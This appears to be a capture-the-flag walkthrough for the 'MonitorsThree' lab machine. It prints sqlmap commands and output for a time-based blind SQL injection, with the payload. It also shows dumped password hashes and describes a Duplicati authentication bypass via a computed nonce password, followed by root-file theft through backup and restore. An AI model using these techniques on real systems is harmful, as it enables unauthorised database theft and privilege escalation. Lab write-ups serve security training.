This is an Ubuntu 22.04 machine hosting a web site whose authentication login page is vulnerable to SQLi time-based attacks. This is exploited to dump a hash that, once cracked, allows access to the admin dashboard of another vulnerable (CVE-2024-25641) Cacti 1.2.26 login portal running in the server. Exploiting this we get an initial www-data shell in the system and then we find an additional hash in another MySQL database. Once cracked we get an SSH credential and the user flag. For escalation we abuse a Duplicati backup application. First we bypass the authentication following a procedure available in GitHub, then we leverage the fact that application is run under root to backup and read the root flag.
The username parameter is vulnerable to SQLi. Try a password reset and capture the request with Burpsuite, save request to a file and launch a time-based sqlmap attack. Bear in mind that, as the attack is time based, it will take some time to complete.
First dump the database name.
> sqlmap -r request.sql -p username --dbms=mysql--batch--threads=10--dbs--technique=T--level=5--risk=3_____H________[)]_____ ___ ___ {1.6.9#stable}|_-|. [.] |.'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'sresponsibilitytoobeyallapplicablelocal,stateandfederallaws.Developersassumenoliabilityandarenotresponsibleforanymisuseordamagecausedbythisprogram[*] starting @ 08:16:00 /2024-08-28/[08:16:00] [INFO] parsing HTTP request from 'request.sql'[08:16:00] [INFO] testing connection to the target URLgota302redirectto'http://monitorsthree.htb:80/forgot_password.php'.Doyouwanttofollow? [Y/n] YredirectisaresultofaPOSTrequest.DoyouwanttoresendoriginalPOSTdatatoanewlocation? [Y/n] Y[08:16:00] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable[08:16:00] [INFO] testing for SQL injection on POST parameter 'username'[08:16:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'[08:16:00] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done) [08:16:13] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [08:16:13] [INFO] checking iftheinjectionpointonPOSTparameter'username'isafalsepositivePOSTparameter'username'isvulnerable.Doyouwanttokeeptestingtheothers (if any)? [y/N] Nsqlmapidentifiedthefollowinginjectionpoint(s) withatotalof63HTTP(s) requests:---Parameter:username (POST)Type:time-basedblindTitle:MySQL>=5.0.12ANDtime-basedblind (query SLEEP)Payload:username=aaa' AND (SELECT 6234 FROM (SELECT(SLEEP(5)))cZpJ)-- bFHy---[08:17:10] [INFO] the back-end DBMS is MySQL[08:17:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Yweb server operating system: Linux Ubuntuweb application technology: Nginx 1.18.0back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[08:17:15] [INFO] fetching database names[08:17:15] [INFO] fetching number of databasesmulti-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N[08:17:15] [INFO] retrieved: [08:17:24] [INFO] adjusting time delay to 1 second due to good response times2[08:17:25] [INFO] retrieved: informat[08:17:58] [ERROR] invalid character detected. retrying..[08:17:58] [WARNING] increasing time delay to 2 secondsion_schema[08:19:06] [INFO] retrieved: monitorsthre[08:20:45] [ERROR] invalid character detected. retrying..[08:20:45] [WARNING] increasing time delay to 3 seconds[08:20:58] [ERROR] invalid character detected. retrying..[08:20:58] [WARNING] increasing time delay to 4 secondse_dbavailable databases [2]:[*] information_schema[*] monitorsthree_db[08:21:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/monitorsthree.htb'[08:21:56] [WARNING] your sqlmap version is outdated[*] ending @ 08:21:56 /2024-08-28/
The sqlmap attack outputs 2 available databases. Let's continue dumping the database monitorsthree_db tables.
> sqlmap -r request.sql -p username --dbms=mysql--batch--threads=10-Dmonitorsthree_db--technique=T--level=5--risk=3--tables_____H________["]_____ ___ ___ {1.6.9#stable} |_ -| . [(] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 08:25:32 /2024-08-28/[08:25:32] [INFO] parsing HTTP request from 'request.sql'[08:25:32] [INFO] testing connection to the target URLgot a 302 redirect to 'http://monitorsthree.htb:80/forgot_password.php'. Do you want to follow? [Y/n] Yredirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Ysqlmap resumed the following injection point(s) from stored session:---Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=aaa' AND (SELECT 6234 FROM (SELECT(SLEEP(5)))cZpJ)-- bFHy---[08:25:32] [INFO] testing MySQL[08:25:32] [INFO] confirming MySQL[08:25:32] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Ubuntuweb application technology: Nginx 1.18.0back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[08:25:32] [INFO] fetching tables for database: 'monitorsthree_db'[08:25:32] [INFO] fetching number of tables for database 'monitorsthree_db'multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N[08:25:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y[08:25:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions[08:25:51] [INFO] adjusting time delay to 1 second due to good response times6[08:25:51] [INFO] retrieved: invoices[08:26:20] [INFO] retrieved: customers[08:26:51] [INFO] retrieved: changelog[08:27:20] [INFO] retrieved: tasks[08:27:37] [INFO] retrieved: invoice_tasks[08:28:29] [INFO] retrieved: usersDatabase: monitorsthree_db[6 tables]+---------------+| changelog || customers || invoice_tasks || invoices || tasks || users |+---------------+[08:28:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/monitorsthree.htb'[08:28:46] [WARNING] your sqlmap version is outdated[*] ending @ 08:28:46 /2024-08-28/
>select username,password from user_auth;+----------+--------------------------------------------------------------+|username|password|+----------+--------------------------------------------------------------+|admin| $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G ||guest| $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu||marcus| $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK|+----------+--------------------------------------------------------------+3rowsinset (0.000 sec)
We have disclosed again a hash for user marcus (module 3200). Once the hash is cracked, just su marcus to his account. Inside his home directory you'll find his private ssh key, which can be used to open an SSH session.
Use it to retrieve the user flag.
ROOT
Start from the marcus SSH shell and take the opportunity to enumerate the user and the system.
First we need the server passphrase, which it is stored in a SQLite database located in the path /opt/duplicati/config/Duplicati-server.sqlite. Transfer it to Kali and enumerate with command line command sqlite3
Following the provided guide, first we need to decode base64 the server-passphrase then encode in HEX.
Take note of the salted password.
Now we need the nonce, which is different in each login attempt. Enter whatever password and intercept the request, take note of the session_nonce and URL decode it.
Continue following the guide, in the same Duplicati login page, open a JS console and calculate the value of noncepwd
var noncepwd =CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('value_of_url_decoded_nonce') +'salted_hex_passphrase')).toString(CryptoJS.enc.Base64);
Where salted_hex_passphrase is the HEX value previously calculated with Cyberchef, and value_of_url_decoded_nonce is the URL-decoded nonce.
After the value is calculated, just type noncepwd to retrieve the value of the password.
Final step is to go back to the intercepted request in Burpsuite and replace the value of password with the noncepwd value, then URL-encode the value of the new password (CTRL+U).
Forward the request, you are now logged in Duplicati.
Looks like a tool to create scheduled backups. It seems to be run under root context, so it can backup and restore any file in the file system. One option could be to create a backup of our own public key, then restore it the root .ssh directory.
Another option is just backup the root.txt file, then restore in a location where user marcus has access.
To do this:
Click on "Add backup", enter whatever name, do not select encryption.
Select a location for the backup, for example /store/var/tmp, several ZIP files will be stored here.
Select which files will be part of the backup, choose /store/root/root.txt
Do not choose automatic backup, save the backup.
Back on the home menu, run the recently created backup.
Restore the backup, select the root.txt file to be restored choosing a location where marcus has permissions; for example, /store/home/marcus
After the process finishes you can read root.txt file.